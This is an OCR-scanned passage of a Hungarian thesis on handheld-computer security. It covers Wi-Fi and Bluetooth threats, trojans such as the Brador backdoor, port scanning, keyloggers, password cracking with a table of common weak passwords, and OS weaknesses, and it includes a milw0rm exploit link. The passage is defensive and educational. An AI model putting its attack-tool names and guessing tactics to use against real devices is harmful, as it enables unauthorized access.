A WLAN radiofrekvencias eszkdzok az ISM (Industrial, Scientific, and Medicine)
sdvban mukodnek. Az ISM sdvok a radidfrekvencias spektrum UHF illetve SHF
tartoményaban helyezkednek el. A kulonbdzé gyartd cégek sajat termékeikben sajat
technoldgiakat hasznéaltak, igy az eszk6z6k nem tudtak egymassal kommunikalni. Igény
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merult fel tehat egy szabvany kidolgozasara és erre, akarcsak a vezetékes halozatok
szabvéanyanal az IEEE?- t kérték fel.

A szabvany a 802.11-es elnevezést kapta, melyet révidesen tébb masik valtozat is
kovetett. A jelenlegi szabvanyok 802.11a, 802.11b, és 802.11g, valamint fejlesztés és
bevezetés alatt all a 802.11n, melyek a frekvencia tartomanyban és a sebességikben
térnek el egymastdl. A szabvanyt és a kompatibilitast betartd termékeket Wi-Fi
cimkével minésitik. A hétkdznapi sz6hasznalatban a Wi-Fi - t gyakran azonositjak az
IEEE 802.11- es csalad valamelyik tagjaval, hasonléan ahhoz, ahogyan a vezetékes
halézatok megnevezéseként a 802.3 helyett az Ethernet kifejezés terjedt el.

2.2.2.2 A vezetékmentes hal6zatok fenyegetései

Léteznek olyan fenyegetések, amelyek kimondottan a vezeték nélkili hal6zatokra
jellemzoek. Ezek kdzott vannak passziv modszerek, amikor a tdimadod nem avatkozik
bele kdzvetlenll a kommunikacidba, és vannak aktiv tamadasi mddszerek, amikor a
tdmadas sorén az adatokhoz kozvetlenil hozzafér a timadast vegrehajtd.

Egyik ilyen veszélyforras, a lehallgatas. Ekkor egy harmadik fél jogosultsadg nélkil
fér hozza a vezetékmentes kommunikacioban részt vevé zenethez és nem sziikséges
kozel férkéznie az adod vagy a vevO helyéhez. Egy, a kiildés el6tt titkositott Uzenet
alkalmazasaval azonban biztosithat6, hogy a lehallgatast végz6 fél ne legyen képes az
eredeti Uzenetet visszafejteni. A lehallgatast alkalmazva a hal6zati kommunikacio
elemzésébol akar a kapcsolat titkositasanak feltoréséhez is lehet informéaciohoz jutni.

Adatmodositasrél beszéliink akkor, ha egy harmadik fél modositani is képes a
lehallgatds soran ellopott (zenetet, vagy adatokat, és Ugy kildi azokat tovabb a
cimzettnek. Az ilyen tdmadast man-in-the-middle,” magyarul kozbeékelédéses
tamadasnak hivjak. Ezeken kivil létezik még az Ugynevezett megszemélyesitéses
tdmadas, amikor valaki hitelesitett félnek adja ki magat jogosulatlanul, és ugy
kapcsolddik a haldzathoz.

Mindezekbdl latszik, hogy a vezeték nélkili halozatoknak a praktikussagaban van
kockazatuk, hiszen az informaciét radiés daton tovabbitjak, ezaltal kevésbé

22 |EEE: (Institute of Electrical and Electronics Engineers) Villamos- és Elektronikai Mérnokok Intézete.
A szabvényositas vilaganak egyik legfontosabb résztvevéje, szabvanyokat dolgoz ki.

> A man-in-the-middle timadasok célja a bizalmassag, integritas és a rendelkezésre allas meghitsitéasa.
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biztonsagosak, hiszen konnyen lehallgathatoak. Az illetéktelen hozzaférések
megakadalyozésanak elosegitése céljabol a WLAN szabvéanyok tartalmaznak kiilonb6z6
biztonsagi protokollokat. Ezeket hasznalva csokkenthet6 a vezetékmentes haldzat

tamadhatosaga, ezért nézziik meg Oket kicsit kdzelebbrol:

WEP?*

Ugyan mar javitottak rajta, de konnyen feltérhet6. Harom {6 funkcigjat, mely
szerint biztositania kellene az atvitt informéacio védettségét, megakadalyozni
az illetéktelen belépést a vezeték nélkili halozatba és védettséget kell
biztositania a maoddositott informacié visszajuttatdsa ellen, nem tudja
maradéktalanul teljesiteni.

WPAZ

A halézati kartyak és AP? - k frissitését kovetden egy szabvanyos és
biztonsagos megoldast kapunk. A szabvany kotelezOvé teszi a gyakori
kulcscserét, és bevezet egy Uj visszajatszas elleni védelmet. Jol skalazhato
megoldas nagy, kozép vagy kisvéllalati szinten is. A WPA egy koztes
megoldas a WEP és a 802.11i szabvany koz6tt, amit WPA2 — ként neveznek.

WPA2?%

A WPA2 szabvany a 802.11i szabvanyra épul, melynek szerves részét képezi
a WPA. A WPA ¢és WPA2 kozotti kiilonbség az erdsebb kodolasban van, a
WPA2 AES - t (Advanced Encryption Standard) hasznal a forgalom
titkositasara, mig a WPA csak a TKIP - t (Temporal Key Integrity Protocol)
nevezi meg titkositasi eljarasaként.

> WEP: Wired Equivalent Privacy a kezdeti WiFi szabvanyok biztonsagi technoldgiéja, méra elavult.

> WPA: A Wi-Fi Protected Access a Wi-Fi hal6zatok biztonsagat szolgal6 védelmi és azonositasi
rendszer. A WEP gyengeségeinek orvoslasara hoztak létre.

*® AP: Acces Point. Olyan hélézati eszkdz, mely interfészként szolgél vezeték nélkiili kommunikacidra
alkalmas eszkdzok és a haldzat tobbi része kozt.

*"WPA2: Uj titkositasi és biztonségi eljarasaival nagyobb biztonsagot nyujt, mint a WEP vagy a WPA.
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WPA-PSK és WPAZ2-PSK

A WPA vagy WPAZ2 halozatok esetében PSK vagyis Pre-shared key (el6re
megosztott kulcs) modban a hozzéaféréshez sziikséges biztonsdgi kulcsot
minden felhasznalonak egyszerlien csak be kell iitnie, hogy beléphessen a
halézatba. Ez a kéd 8-t6l 63 nyomtatott ASCII?® karakterig terjedhet, vagy 64
hexadecimalis szdm lehet. A torése gyakorlatilag csak akkor valdsithaté meg,
ha gyenge jelszét valaszt maganak a felhasznal6.

Amennyiben a kommunikéaci¢ titkositas nélkili hasznalatara kertl sor, akkor elég
konnyii a behatolds, hiszen nincs szikseg fizikai kapcsolatra. Fontos tehat egy vezeték
nélkili halozat alkalmazésakor, hogy odafigyeljink a biztonsdgos kommunikaciora.
Alapéllapotban a WiFi eszk6zok kevés biztonsagi bedllitast tartalmaznak, éppen ezert
fontos, hogy soha ne hagyjunk semmit gyéri beallitasokon, féleg a gyari jelszot ne!

A PDA keészulék vezetékmentes halozati beallitasai kozott (1 szami melléklet)
lehetéségiink van a kivalasztott halozat nevének, a csatlakozas tipusanak (rejtett, vagy
sem) megtekintésére, megadasara. A haldzati hitelesités beéllitdsanal kivalaszthatd a
biztonsagi protokollok kozil az, ami szikséges a biztonsagos halézathoz vald
csatlakozashoz.

2.2.2.3 A Bluetooth kapcsolat

Létezik egy masik vezeték nélkuli adatatviteli protokoll a mobiltelefonok és a hozza
illesztheté perifériak kozotti néhdny méteres tavolsdg athidalasara, ami kivaltja a
berendezések dsszekottetésére hasznalt kabeleket. Ez a Bluetooth, amit 1994-ben k6z6s
munkaval hozta létre az Ericsson, az IBM, az Intel, a Nokia, és a Toshiba.

Nevét a viking Harald Blaatandrdl — angol nevén Harald Bluetooth (Kékfogu Harald)
— kapta, aki Norvégiat és Daniat egyesitette. A Bluetooth szabvanyt felismerd eszk6zok
a 2400-2483.5 megahertz kozotti hullamsavban egyszerre 8 darab, de legfeljebb 10
méteres korben megtalalhatd periféria kezelésére képesek. Az igy elérhet6 elméleti
adatatviteli sebesség 1 megabit/méasodperc, de a sebesség elsésorban a gyakori
radidcsatorna valtdsok miatt a gyakorlatban nem haladja meg a 400-500
kbit/mésodpercet. A Bluetooth hasonléan a WLAN - okhoz a 2.4 GHz-es ISM savban

?® ASCII: (American Standard Code for Information Interchange) Egy amerikai szabvéanyos
informaciocsere-kodrendszer, amely a latin abc - n alapul.
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mikodik. Ezt a technoldgiat, a mobil eszkdzokben (mobiltelefonok, PDA-K,
notebookok, stb.) alkalmazzdk a gyartok -el6szeretettel, ami egy kdnnyebben,
gyorsabban létrehozhaté adatatvitelt létesit a kézi szamitdgépek és egyeb, a technologiat
alkalmazé eszkdzok, ugymint a mobiltelefonok vagy - egy megfelel6 kartya beszerelése
utdn - az asztali szamitdgéphez csatlakoztatva. Maga a Bluetooth protokoll nem
sérulékeny, a tdmadasokat eddig mindig a megvalositdés és a felhasznalas hibait
kihasznalva kovetik el.

A Bluetooth szabvany altal alkalmazott radids hatotavolsag csekély, ez pedig
minimalizélja az elkdvetés valdszinliségét, hiszen majdnem ,,fizikai” kozelségbe kell
kerllni a készilékkel az elkdvetéshez. Raadasul a legtobb tamadashoz pértositani kell
az eszkozoket, amihez a felhasznalok hozzajarulasara van szikség. Leétezik egy
Bluezard nevii program, ami Windows Mobile és PocketPC - n futtathaté. Ez egy
komplett Bluetooth kezel6 alkalmazas. Képes arra, hogy irdnyitsa a masik késziléket,
valamint az agynevezett ,,Bluesnarf” tamadasok végrehajtasara, amelyeknek a lényege,
hogy alkalmassé teszi a tamadoét a fajlrendszer tall6zasara, le- és feltoltésre, torlésre és
mappak létrehozasara. Ezen kivil tébblet informaciokat is szolgaltat a megtamadott
készillékekrsl (példaul a Bluetooth MAC?® address) és képes felfedezni a lathatatlan
eszkOzoket is. Ennek a tdmadasnak a Kivitelezéséhez azonban sziikséges a felhasznalo,
vagyis az ,aldozat” kozremiikodése, hiszen csak a parositds elvégzése utan valik
tamadhatova az adott készulék.

A védekezés a tdmadasok ellen viszonylag egyszerli, csupan a Bluetooth
hasznélatanak korlatozasat kell szem el6tt tartani. Kizarolag akkor engedélyezziik,
amikor tényleg szikségink van ra. A PIN kod hasznalatanal pedig figyeljlnk arra, hogy
olyan hosszUsagut valasszunk, amit nehezebb feltoérni (6 — 8 karakter). Csak akkor
fogadjunk el barmit a készilékinkre Bluetooth kapcsolaton keresztiil, ha biztosan
tudjuk, hogy kit6l jon, és ha valdban sziikségiink van ra.

*° Egyedi hardware alapt azonositd kod, melyet egy héalézati kapcsolatban résztvevé felhasznalok
megkuldnboztetésére hasznalnak. Meg lehet ket hamisitani, illetve a halozat résztvevéi felé hamis MAC
cimet lehet mutatni.
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2.3 Sebezhetoségek

2.3.1 Az adattarolas sebezhetdosége

A kiilonboz6 szamitastechnikai eszkozok, igy a kézi szamitogépek adattarold
képessége folyamatos novekedésben van. Ma 100 gigabit informéaciot el lehet mar
tarolni egyetlen négyzet inch (6,45 cm?) fellileten. A kérdés csupan az, hogy a fontos
adatokat hogyan, milyen modon taroljuk, és védjiik. A korszerii kézi-szamitogépek
memoriakartya bovitési lehetdséggel rendelkeznek és ezek kozott manapsdg mar nem
ritka a 16-32 GB kapacitasu sem. A nagyobb védelem érdekében nemcsak sziikséges,
hanem elengedhetetlen az adatok titkositasa, hiszen egyre tobb és kifinomultabb
kockazat fenyegeti azok biztonsagat. A célzott tamadasok nem kerilik el a
taroloeszkozoket sem. Nyilvanvald, hogy nem kell mindent titkositani, de azon
informéacidkat, amelyek érzékenyek, bizalmasak, valamint védendé vagy személyes
adatok, mindenképpen célszerii titkositani. Hiaba bombabiztos egy hal6zat, vagy
védelem, ha valakinek a kezébe keril egy PDA tele fontos Uzleti informéacidkat
tartalmazo titkositas nelkili fajlokkal. Mara mar szamos olyan szoftveres és hardveres
megoldas 1étezik, ami megfeleld biztonsaggal képes megvédeni a mobil eszkdzok tarolo
elemein elhelyezked6 adatokat, lehetetlenné téve az eszkdzt megszerzd szamara, hogy a
tarolt informéaciohoz hozzaférjen. llyen termékeket szdmos cég kinal, ezek nem csak
beagyazott Windows operacios rendszeren, de Symbian rendszeren is elérhetéek.

Egyes PDA - kon létezik a tarold kartyakra mentett fajlok tikositdsanak a lehet6sége,
ami azt jelenti, hogy az adott eszk6z gy menti el az adatokat, hogy a visszaolvasasra
kizarolag csak 6 képes, masik késziilék, vagy személyi szamitogép nem tudja elolvasni
azokat. Ez a megoldas életkeptelen egy olyan helyzetben, ahol az adatokat at kell vinni
egyik géprol a masikra és nincs lehetdéség a vezetékmentes halozat, vagy Bluetooth
hasznélatara valamilyen okbdl.

Vannak olyan késziilékek, amelyekb6l a memoriakartyat egyetlen mozdulattal el
lehet tavolitani, ezért idegen hozzaférés esetén nem nyujt kell6 biztonsagot az ilyen
tipust készllékek hasznalata. Fontos, hogy a kézi-szamitogépeken tarolt adatokrol
megfeleld gyakorisaggal biztonsagi mentés késziiljon. Az egyik legfontosabb dolog,
ami nélkill nem mikodik a védelem, az a felhasznaldo hozzaallasa, ezért oktatassal
tudatositani kell benne, hogy milyen veszélynek vannak kitéve az adatai, ha mobil
eszkdzt hasznal a munkéja sorén illetve azt, hogy betartsa a t6le megkovetelt
felhasznaloi el6irasokat. Ezek kozott szerepelnie kell a rendszeres adatmentésnek a
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fontossaga, a nem engedélyezett programok telepitésének mellézése, vagy a megfeleld
biztonsagu protokollok kizarélagos alkalmazéasa.

A térolt adatainkra a legnagyobb kockazatot jelentd veszélyforrasok a kovetkezok:

Megnevezés
Illetéktelen
hozzaférés

Leiras
Az adott dokumentumhoz olyan személy vagy személyek férnek hozza, akiknek a
dokumentum kezelése nem feladata. Ilyenkor sériil a dokumentumok bizalmassaga.

Téves adatkezelés

A dokumentumon végzett olyan miivelet, vagy modositas, aminek végrehajtasara
nincs sziikség. Ebben az esetben az adatokat ismét el6 kell allitani, beszerezni, vagy
az utolso hiteles allapotot el6 kell allitani.

Véletlen torlés

Olyan dokumentumok keriilnek torlésre, amire kés6bb még sziikség lenne. Ilyenkor
az adatokat ismét el kell allitani, be kell szerezni, az utolso hiteles allapotot el kell

allitani.
Virusfertézés A virusok a szamitogépen tarolt adatokat igen sokféleképpen karosithatjak, ezért
egy virusfertézés esetén az okozott kar elég jelent6s is lehet.
Miiszaki Olyan esetben, amikor hardveres hiba torténik, az adatok nem elérhetéek, vagy
meghibasodas olyan sériilés kovetkezik be, amit6l akar végleg el is veszhetnek.
Tiiz,  természeti | Teljesen meg tudja semmisiteni nemcsak az adatokat, de a tarolasara szolgal6 kézi-
katasztrofa szamitogépet is.

Rosszindulat

A szandékosan artani akar6 cselekvést értem ez alatt, ami az adatok sértetlensége és
rendelkezésre allasa ellen iranyul.

2.3.2

1. tablazat
A tarolt adatok kockazata.

Hozzaférési sebezhetoségek

A hozzéférés azt jelenti, hogy az informatikai eszkdzoket (jelen esetben a
szakdolgozat targyat képez6é kézi-szamitogépeket) csak a feladatabol ered6 indokolt
esetben, és ellenérizhet6 modon szabad masok altal hozzaférhetéve tenni.

A kovetkezo hozzaférési tipusokat lehet elkiiloniteni:

o Fizikai hozzaférések (kdzvetlenil az eszkdzhoz)

e Logikai hozzaférések (a rajta tarolt adatokhoz, informéaciohoz)

Altalanosan elmondhatd, hogy csak a sziikséges jogokat szabad kiadni, mely soran

figyelembe kell venni a biztonsaggal kapcsolatos igényeket. A kézi-szamitdgépekkel
kapcsolatos egyik cél az illetéktelen hozzaférések megakadalyozasa. Ehhez felhasznaléi
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azonositasra van sziikség. Elvesztes, vagy ellopas esetén az adatok tamadhatdsagat
nagymértékben megkonnyiti, ha nincs megfelelé azonositd és hitelesité eljaras
alkalmazva az eszk6z védelmére. Hozzaférés-védelmi eljarasok nélkil a halézatban
torténd munkavégzés nem garantdlja, hogy csak a rendszerhez engedélyezett
hozzaferések valosulhassanak meg. Az alkalmazéasokhoz vald illetéktelen hozzaferés
megtorténhet egy lopott késziilékkel is, ami megfelelden van konfiguralva a halézathoz,
¢s a rendszerbdl valo kiesése utan nem zartak ki a késziiléket a rendszerbdl, vagy az azt
hasznal6 személy hozzaféréset nem kezelték, tiltottak le megfeleléen. Kdnnyen
el6fordulhat, hogy vezetékmentes haldzathoz csatlakozva adatokat lophat, virust
telepithet a tdmadd az eltulajdonitott, és nem megfeleld azonositassal védett kézi-

szamitogéprol a haldzat barmely eszkozére.

Eppen ezért, a kiosztott hozzaférési jogosultsagokat rendszeresen feliil kell vizsgalni
és madositani, ha sziikséges.

2.3.3 A trojai programok, a PortScan - erek, a Keyloggerek

A tréjai programok

Ezeket a programokat az angol nyelvben RAT — nek (patkanynak) hivjak, ami a
Remote Administration Tools (Tavoli Adminisztracios Eszk0z) szavakbol képzett
mozaikszo.

Trojai programoknak olyan programokat nevezink, amelyek azt szinlelik, hogy
valamilyen hasznos tevékenységet veégeznek, am ekdzben a hattérben megbdjik egy
rombolé programrészik is, amely titokban végzi aldatlan tevékenységét. A trojai
programok felépitésiiket tekintve két részbdl allnak. Van egy kiszolgalé rész, ami
Iényegesen kisebb méretti, ezt hivjuk szervernek és van egy méretileg nagyobb, ami az
ligyfélrésze, ez pedig a kliens. Altalaban az operacios rendszer futasa kdzben nem lehet
toréIni 6ket, mert alkalmazasban vannak. Ezek a programok halézatos, internetes
kapcsolat utjan terjednek leginkabb.

A trojai programok egy reszeben mar beépitett funkcid, hogy a szerver futtatasa utan
automatikusan killd egy e-mail Uzenetet az aldozat IP*® cime és egyéb fontos
informécioval egyutt, valamint, hogy sikeresen beirta magat a rendszerbe és rezidensé

*® Az IP-cim (Internet Protocol) egy egyedi halézati azonositd, amelyet az egymassal kommunikélé
szamitdgépek egymas azonositasara hasznalnak.
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valt. Ha megvan a cél IP cime, akkor a tréjai Kliensrészbdl kapcsolodva ra, képes a
tdmado adatokat tordlni, fel-le tolteni, a gépet kikapcsolni, a futd programokat leallitani
és elinditani, jelszavakat lopni, FTP® kapcsolatot hasznalni. Mindezek csak toredékei
annak, amit a timadd végrehajtani képes a trdjai programok segitségével.

Hogyan is miitkodnek ezek a programok?

Amikor a gépen fut a trojai szerver része, akkor egy portot nyit meg, amire barki
felcsatlakozhat, aki rendelkezik a kliens résszel. Természetesen a porton keresztil a
trojai szerver részhez csatlakozik és vele kommunikal, nem pedig kozvetlenil a géppel,
vagyis csak azokat az utasitisokat lehet kiadni, amiket a trGjai program tartalmaz. Az
aldozat gépén a trojai ugy viselkedik, mint egy virus. Beirhatja magat a Windows
konyvtarban talalhatd win.ini illetve system.ini fajlban vagy pedig a Windows
regisztracios adatbazisaba. Egy profi tdmadas kovetkeztében szinte minden fontos
személyes informéacidt meg lehet szerezni, ami csak a szamitdgépen van.

Ilyenek példaul:

Azonositok és kodok Véllalati azonositok
Személyes cimek és adatok ~ Csaladi képek
E-mail fiokok Telefonszamok

E-mail levelek Bankkartya informéaciok

Az els6 ilyen jellegii kartevé, ami Windows CE - t futtato PDA - ra készilt a
Kaspersky Labs altal felfedezett ,,Backdoor.WinCE.Brador.a” nevii, hatso ajtot nyitd
program. Azzal a céllal készilt, hogy a keszité szamara teljes hozzaférést biztositson a
fert6zott PDA - hoz a trojai program altal megnyitott porton keresztul. Miutan elindult,
létrehoz egy ,,svchost.exe” - nevii fajlt a Windows autorun mappajaban, ezaltal teljes
kor(i hozzaférést szerez a rendszer folott minden alkalommal, amikor a kézi szamitdgép
bekapcsolt allapotban van. A Brador ezutan azonositja a gép IP-cimét és azt elkildi egy
Uzenettel egyltt, amiben tajékoztatja a készitdjét, hogy az eszkoz csatlakozik az
Internethez és a hatsé ajtdé aktiv. Végul a Brador megnyitja a 2989-et portot és varja a
parancsokat. Programja szerint fajlokat tolt le és fel az eszkodzre, és szdmos tovabbi
parancsot futtat. A tobbi hatsé ajtd tipusu programhoz hasonléan a Brador nem képes

*' FTP: (File Transver Protocol) egy altalanosan elterjedt kommunikéciés protokoll a file - ok 4tvitelére
barmely TCP/IP alapu halézaton.
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onalloan terjedni, érkezhet e-mail {lizenethez csatolva, letdltheté az internetrél vagy
asztali szamitogéprdol mas adatokkal egyiitt feltolthetd a PDA - ra.

‘.‘)_C.";“ AS-Process Manac 4 < 11:36 @ I
| [] Show desktop windows only

Process Name | PID | -
Ffexplore.ene 26EA94F6 ;
rador_a.exe 46E127FA
obile Firewall.e... AGAIAOGE
[T ] [ [v ] ||

Total: 24 processes running i

Process Information

B

Item | Yalue
%}Selected Process brador_a.exel—|
£ Threads Count 1 H
;E] Modules Count 5 -|

4] i [T*

e Sy
Bix] El
=

4. 4bra

A Brador futas kozben.

Egyre Gjabb, jobb, nagyobb funkcionalitassal bird, jobban rejtézkddni képes trojai
programok készilnek.

PortScan

Az els6, halozati pasztazasra alkalmas eszkoz, ,,ping” - névvel 1983 decemberében
szlletett. A halozatbiztonsdgi pésztazdsok karokozasra alkalmas célja az
informécidszerzeés, a kritikus pontok megtalalasa egy haldzatban.

Egy PortScan programmal végrehajtand6 tamadas elséként megkeresi azokat az IP
cimeket, melyek a valasztott cimtartomanyban elérhet6ek (5. &bra), majd a célgep
halozati cimére kildve egy probacsomagot, valaszra var. A vélasz elmaradasa egyet
jelent azzal, hogy a célgép nem érheté el. A port scanner feladata, hogy a célgép
egyenként 65535 TCP¥ és UDP™ portja kozill megkeresse azokat, amelyeket a gépen
futd valamelyik alkalmazas nyitva tart. A miikodés alapvetéen az, hogy az ellen6rzé
gép kapcsolatot prébal kezdeményezni a célgép adott portjan at. Miutan sikerrel jar,
tudja, hogy a célgép valamilyen szolgaltatast nyujt azon az adott porton keresztul.

32 TCP: (Transmission Control Protocol) Az IP és az alkalmazas réteg kozott helyezkedik el, és 6 felel az
adatcsomagok hibamentes atviteléért és eredeti sorrendbe val6 visszaallitasaért.

** UDP: (User Datagram Protocol ) Az Interneten alkalmazott TCP/IP protokollcsomag nem-megbizhato,
datagram tipusu atvitelt biztosito tagja.
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Az 5. dbran az ASUS MYPAL A696 - os kézi szamitdgép nyitott portjait
tekinthetjik meg (z6ld szinnel kiemelten) az internetkapcsolat ideje alatt.

" , R I=TE
Itt kivalaszthatd

tions  Help

az IP %!%'@
tartomany

RADMIN® 4 db tdmadhatdé

remote control software
fast. secure. affordable.

nyitott port

Select IP: I 192 0162 . 1 . 100 W Uszerange
I Use group of ramges

Select ports range: Idefault - Idefault V' Use default ports list

I Use porks ranges list

- = 1.100 P canned 0 o Ocl
192.168.1.101  Ports (scanned O of 67, opened: O closed:
@ 192,168.1.102 {MCOMP ) Ports {scanned 67 of ened: 7 closed: 60)
E-& 192.168.1.103 (WM_ISTY)  Ports {sca 7 of 67, opened: 4 closed: 63)
&L & Open ports (4)

© 20 Open (wew-htkp)

¥ 110 Open {pop3)

-~ @ 3128 Open (squid)
) BO0B0 Open (http-prosey)
& Closed ports (63)

- 192,168.1.104  Ports (scanned 0 of 67, opened: O closed: 0)
192.168.1.105  Ports (scanned 0 of 67, opened: 0 closed: O)

Scan complete

5. 4bra
Nyitott portok egy késziiléken.

Tovabbi funkcio lehet egy PortScan programban, hogy képes nagy valdsziniiséggel
megmondani, hogy milyen operaciés rendszer fut a tavoli gépen. A PortScan
dnmagaban még nem okoz problémat, de kénnyen lehet egy tamadas elsé 1épése.

Keylogger

A keylogger magyarul billentytizetfigyel6 a felhasznalé altal leutott billentyiiket
loggolja, azaz eltarolja a billentyiizet altal k6zolt adatokat egy fajlba. Létezik olyan
verzidja is, amelyik a programok inditasat és a kilépéseket is rogziti. Nem szamit
virusnak, mint a trojaiak, de egy tréjai program tartalmazhatja a keyloggert, mint
funkciot. Ezek is memoriarezidens programok.
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A keylogging alkalmazasoknak jelenleg két csoportjat killénboztetjik meg

A szabad elérésii, dltalanos céli programok A  kimondottan tamadasi céld  keylogging
tartoznak az elsé csoportba, melyek ingyenesen programok a méasik csoport. A rosszindulat( kédok
letolthetdk az internetrdl. altal végrehajtott tamadasok részeként telepitddnek

fel a kézi-szamitogépekre.

2. tablazat
A Keylogging alkalmazasok csoportositasa.

lgaz&bol ezeket az alkalmazasokat a kereskedelmi vagy otthoni PC hasznélat
szandékolt nyomon kovetésére szantak, konnyedén felhasznalhatok azonban
rosszindulatu célokra.

2.3.4 Jelszéfeltorés

Alapesetben a felhasznaloi azonositéhoz olyan jelszot valasztunk, amelyet csak a
rendszer és a jelszo tulajdonosa ismer. gy amikor be kivan Iépni a rendszerbe, e két
informécio egylttes megadasaval igazolja azonossagat az illetékes felhasznald. A
rendszer érzékeli, hogy az éppen beirt jelszd6 egyezik-e azzal, amelyet az adott
felhasznaldi névre vonatkozoan tarol. Ha ez a ket adat megegyezik, akkor lehetségessé
valik a hozzaférés.

A jelszbalapu hitelesités esetében az, aki tudja a jelsz6t, jogosult felhasznal6, mivel
olyan specialis ismerettel (mint a titkos jelszo) rendelkezik, amelyrél senki masnak nem
lehet tudomasa. Ennek a megkdzelitésnek azonban megvan az a gyenge pontja, mely
szerint lehetséges, hogy ugyanazt a jelszét tobben tudjak. Ez azért lehetséges, mert az
ember alapvetéen kényelmesebb annal, semhogy egy bonyolult jelsz6t megjegyezzen,
ha az nem kotelessége. Ezért jol lathatd, konnyen elérhetd helyre példaul felirja a

jelszavat.

A jelszbalapl hitelesités a jelszo titkossagan alapul, ezért a biztonsag teljes
mértékben a titoktartds mértékétol fligg.

A legegyszeriibb mddja annak, hogy egy jelszoval védett rendszert megtamadjanak
az, hogy talalomra kulonféle jelszavakkal prébalnak meg bejelentkezni. Az egyik
legkézenfekvObb, hogy a felhasznaldi azonositd €s a jelszo6 megegyezik. Ezen kiviil
léteznek még a sablon szavak kategoriai (3. tablazat), amelyeket vagy azeért valasztunk,
mert a billentylizeten valo elrendezésiiknek koszonhetden kdnnyen megjegyezhetok,

vagy valamilyen szempontbo6l az életlinkh6z, mindennapjainkhoz kothetdek.
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Az alabbi tablazatban 6sszegyiijtottem néhany tipikusan ebbe a kategoriaba sorolhatd
jelszavat:

A billenty(izet elrendezésébdl adodo Az ember életéhez, mindennapokhoz kéthetd
jelszavak jelszavak
gwertz A felhasznal6 neve, vagy beceneve
qwasyx A hézastars, gyermek neve
asdf A kedvenc haziallat neve
ayxasgqw Az sajat autd forgalmiengedély-szama
jelszo Az sajat autd rendszama
yXcv A csalddon belili sziletési datumok
qwer A hézasségi évfordul6 datuma
0123 A telefonszdmok
3. tablazat

A jelszavak kategoriai

A talalgatasos tdmadasok természetesen csak akkor miikddnek, ha a tamadést
végrehajto fél tud valamit a célba vett felhasznélérdl. Ahogy koradbban a Social
Engineering fejezetben lattuk, ezekhez az informécidkhoz hozza lehet jutni. A
tdmadashoz igenybe vehet6 még az interneten széles korben elérhetd jelszo szoOtarak
segitsége, > ahol sok kiilonboz3 nyelven és kiilonbdzé témakbol listazott szé szerepel.

Ezen a mddszeren tilmenden létezik még a kiilonbozé jelszo tordé programok
segitségét igénybe vevo tamadas. Ezek az alkalmazéasok vagy egy adatbéazisbol, vagy
egy programja szerinti general6 ciklusbdl keresi ki a kiilonb6z6 karakterkészletekbol
Osszeallitott (betiik, szamok, specialis karakterek) szavakat. Képes megtalalni és
felfedni a jelszavakat nemcsak azon a szamitégépen, amire feltelepllt, hanem az 6sszes
halézatra csatlakoztatott eszkzon, igy a kézi-szamitdgépeken is. Egy ilyen program a
LOphCrack, de szamos hasonld képességekkel megtervezett tarsa lelheté még fel az
interneten.

A ma elterjedt jelsz6toré programok keresési algoritmusa alapjan kijelenthetd, hogy
nem nyutjtanak kell6 biztonsagot azok a jelszd csoportok sem, amelyeket tisztan csak
szamok vagy szotari szavak alkotnak. Valamint a szétari sz6 + szdm (a sz6 elején vagy

** Irodalom jegyzék: [21,22] hivatkozas.
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vegén), a szotari sz0 kis és nagybetiivel + szdm (a szd elején vagy Vveégen)
0sszevonasabol képzettek sem. (példaul: SzAvaY2009)

2.35 Az Operacios rendszer gyengesége

Korabban szadmos operécids rendszernél talalkozhattunk alapértelmezés szerint
installalva bizonyos (fiktiv) felhasznaldi nevekkel és alapértelmezésti jelszéval. Ma mar
ezek szerencsére megvaltoztak, de még szamos alkalmazasnal felbukkannak az
alapértelmezésti jelszavak €s az ilyeneket valtozatlanul hagyva rendszeriinket
veszélynek tehetjuk ki. A kézi szamitogépek operécids rendszereit szerencsére
elkertlték a komolyabb hibak, de néhany biztonsagi rés igy is felbukkanhat benniik. Ez
aldl kivetel az Ipohne, amely biztonsagi szempontbol a legsebezhetébb. Gondoljunk
csak bele, még a mostandban Ujdonsagnak szamité Iphone 3G jelszavas védelmet is
meg lehet kerllni fizikai hozzaféréskor egy egyszerti billentyi kombinacid
alkalmazasaval.

A Windows Mobile is szenvedett mar a hibaktol, nala a szoftver bongészdjében
fedezték fel, hogy néhany specidlisan formazott honlap meglatogatasa
memoriatulcsordulast okozhat és lefagyasztja a készliléket. Ezen kiviil a Microsoft Uj 6-
0s sorozatu rendszerében a Bluetooth eszkdzok nevének kezelésével kapcsolatos
probléma szolgaltatismegtagadas eléidézésére hasznalhaté fel. Tovabbi informaciot®

kaphatunk erré6l a http://milwOrm.com/exploits/6582 helyen.

Mint lathatjuk, a mobil készilékekbe gyartott operacids rendszerek sem teljesen
biztonsagosak, de egyszeriiségiiknek koszonhetden joval kevesebb biztonsagi hibaval
rendelkeznek, mint az asztali gépek operacios rendszerei.

* Irodalom jegyzék: [31] hivatkozas.
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3. Fejezet

Mirol szol ez a fejezet?

Ebben a fejezetben a PreDeCo - clvnek megfeleléen keril vizsgalatra a kézi-
szamitogép a kovetkezOképpen:

e Preventiv: a timadasok megelézésére iranyuld
o Detektiv: a timadasok felderitésére iranyulo

e Korrektiv: a thmadasok bekovetkezése utani elharitasra iranyulé eszkozok,
cselekmények bemutatasa.

3.1 Preventiv védelmi intézkedések.

A harmadik fejezet els6 részében a megeldzésre fordithatd eszk6zok bemutatisara és
azok biztonsagban bet6ltott szerepére helyezem a hangsulyt.

Preventiv védelmi intézkedéseken az olyan megel6z6 intézkedéseket értem, amelyek
a lehetd legjobban képesek megakadalyozni a tdmadast és késleltetni annak
kovetkezményeit. Kiterek a jelszavak kerdésere, a szoftverek naprakészen tartasanak
szlikségességére, valamint az adatkapcsolat biztonsaganak fontossagara és a titkositasi
eljarasok  bemutatadsara. Elemzésre kerlil a hozzéaférési jogosultsag, és
informdciovédelem kérdéskore csakigy, mint a legfontosabb tényezdnek a
felhasznaldnak a biztonsagra gyakorolt hatasa.

3.1.1 Jelszavak

Mint azt az el6zé fejezetben lathattuk, a jelszavak kezelését korantsem Ilehet
félvallrol venni. Ahhoz, hogy a valasztott jelszd eleget tegyen a biztonsag kritériumanak
- tehat képes legyen hatékonyan megvédeni a kézi-szamitogépunket az illetéktelen
felhasznalastdl - veleményem szerint az alabbi problémakat kell atgondolni:

e A legjobb jelszét nem lehet (nagyon nehéz) kitalalni.

e Ha ajelszot nem lehet kitalalni, valdszintileg nehéz megjegyezni.
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e Haajelszot nehéz megjegyezni, a felhasznalé feltehetéen leirja valahova.

